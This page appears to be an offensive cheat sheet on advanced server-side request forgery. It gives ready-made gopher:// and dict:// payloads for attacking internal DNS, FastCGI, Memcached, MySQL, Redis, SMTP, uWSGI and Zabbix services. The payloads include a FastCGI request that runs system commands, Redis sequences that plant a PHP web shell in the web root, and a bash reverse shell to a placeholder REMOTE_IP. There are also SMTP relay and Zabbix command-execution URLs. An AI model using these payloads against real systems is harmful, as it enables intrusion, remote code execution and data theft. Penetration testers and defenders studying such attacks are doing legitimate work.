# SSRF Advanced Exploitation

> Some services (e.g., Redis, Elasticsearch) allow unauthenticated data writes or command execution when accessed directly. An attacker could exploit SSRF to interact with these services, injecting malicious payloads like web shells or manipulating application state.

## Summary

* [DNS AXFR](#dns-axfr)
* [FastCGI](#fastcgi)
* [Memcached](#memcached)
* [MySQL](#memcached)
* [Redis](#redis)
* [SMTP](#smtp)
* [WSGI](#wsgi)
* [Zabbix](#zabbix)
* [References](#references)

## DNS AXFR

Query an internal DNS resolver to trigger a full zone transfer (**AXFR**) and exfiltrate a list of subdomains.

```py
from urllib.parse import quote
domain,tld = "example.lab".split('.')
dns_request =  b"\x01\x03\x03\x07"    # BITMAP
dns_request += b"\x00\x01"            # QCOUNT
dns_request += b"\x00\x00"            # ANCOUNT
dns_request += b"\x00\x00"            # NSCOUNT
dns_request += b"\x00\x00"            # ARCOUNT
dns_request += len(domain).to_bytes() # LEN DOMAIN
dns_request += domain.encode()        # DOMAIN
dns_request += len(tld).to_bytes()    # LEN TLD
dns_request += tld.encode()           # TLD
dns_request += b"\x00"                # DNAME EOF
dns_request += b"\x00\xFC"            # QTYPE AXFR (252)
dns_request += b"\x00\x01"            # QCLASS IN (1)
dns_request = len(dns_request).to_bytes(2, byteorder="big") + dns_request
print(f'gopher://127.0.0.1:25/_{quote(dns_request)}')
```

Example of payload for `example.lab`: `gopher://127.0.0.1:25/_%00%1D%01%03%03%07%00%01%00%00%00%00%00%00%07example%03lab%00%00%FC%00%01`

```ps1
curl -s -i -X POST -d 'url=gopher://127.0.0.1:53/_%2500%251d%25a9%25c1%2500%2520%2500%2501%2500%2500%2500%2500%2500%2500%2507%2565%2578%2561%256d%2570%256c%2565%2503%256c%2561%2562%2500%2500%25fc%2500%2501' http://localhost:5000/ssrf --output - | xxd
```

## FastCGI

Requires to know the full path of one PHP file on the server, by default the exploit is using `/usr/share/php/PEAR.php`.

```ps1
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3F%3E%00%00%00%00
```

## Memcached

Memcached communicates over port 11211 by default. While it is primarily used for storing serialized data to enhance application performance, vulnerabilities can arise during the deserialization of this data.

```ps1
python2.7 ./gopherus.py --exploit pymemcache
python2.7 ./gopherus.py --exploit rbmemcache
python2.7 ./gopherus.py --exploit phpmemcache
python2.7 ./gopherus.py --exploit dmpmemcache
```

## MySQL

MySQL user should not be password protected.

```ps1
$ python2.7 ./gopherus.py --exploit mysql
Give MySQL username: root
Give query to execute: SELECT 123;

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%00%00%00%03%53%45%4c%45%43%54%20%31%32%33%3b%01%00%00%00%01
```

## Redis

> Redis is a database system that stores everything in RAM

The attacker changes Redis's dump directory to the web server's document root (`/var/www/html`) and renames the dump file to `file.php`, ensuring that when the database is saved, it generates a PHP file. They then create a Redis key (`mykey`) containing the web shell code, which enables remote command execution via HTTP GET parameters. Finally, the `SAVE` command forces Redis to write the current in-memory database to disk, resulting in the creation of the malicious web shell at `/var/www/html/file.php`.

```ps1
CONFIG SET dir /var/www/html
CONFIG SET dbfilename file.php
SET mykey "<?php system($_GET[0])?>"
SAVE
```

* Getting a webshell with `dict://`

    ```powershell
    dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
    dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php
    dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"
    dict://127.0.0.1:6379/SAVE
    ```

* Getting a PHP reverse shell with `gopher://`

    ```powershell
    gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml
    gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php
    gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22
    gopher://127.0.0.1:6379/_save
    ```

## SMTP

Malicious actors can craft `gopher://` URLs to manipulate low-level protocols (like HTTP or SMTP) on internal systems.

```ps1
gopher://localhost:25/_MAIL%20FROM:<attacker@example.com>%0D%0A
```

The following PHP script can be used to generate a page that will redirect to the `gopher://` payload.

```php
<?php
    $commands = array(
            'HELO victim.com',
            'MAIL FROM: <admin@victim.com>',
            'RCPT To: <User@[ATTACKER.DOMAIN.TLD]>',
            'DATA',
            'Subject: @hacker!',
            'Hello Friend',
            '.'
    );
    $payload = implode('%0A', $commands);
    header('Location: gopher://0:25/_'.$payload);
?>
```

## WSGI

Exploit using the Gopher protocol, full exploit script available at [wofeiwo/webcgi-exploits/uwsgi_exp.py](https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py).

```powershell
gopher://localhost:8000/_%00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/test.py
```

| Header    |           |             |
|-----------|-----------|-------------|
| modifier1 | (1 byte)  | 0 (%00)     |
| datasize  | (2 bytes) | 26 (%1A%00) |
| modifier2 | (1 byte)  | 0 (%00)     |

| Variable (UWSGI_FILE) |           |    |                |
|-----------------------|-----------|----|----------------|
| key length            | (2 bytes) | 10 | (%0A%00)       |
| key data              | (m bytes) |    | UWSGI_FILE     |
| value length          | (2 bytes) | 12 | (%0C%00)       |
| value data            | (n bytes) |    | /tmp/test.py   |

## Zabbix

If `EnableRemoteCommands=1` is enabled in the Zabbix Agent configuration, it allows the execution of remote commands.

```ps1
gopher://127.0.0.1:10050/_system.run%5B%28id%29%3Bsleep%202s%5D
```

## References

* [SSRFmap - Introducing the AXFR Module - Swissky - June 13, 2024](https://web.archive.org/web/20240614121446/https://swisskyrepo.github.io/SSRFmap-axfr/)
* [How I Converted SSRF to XSS in Jira - Ashish Kunwar - June 1, 2018](https://web.archive.org/web/20251116223629/https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158)
* [Pong [EN] | FCSC 2024 - Arthur Deloffre (@Vozec1) - April 12, 2024](https://vozec.fr/writeups/pong-fcsc2024-en/)
* [Pong [EN] | FCSC 2024 - Kévin - Mizu (@kevin_mizu) - April 13, 2024](https://mizu.re/post/pong)
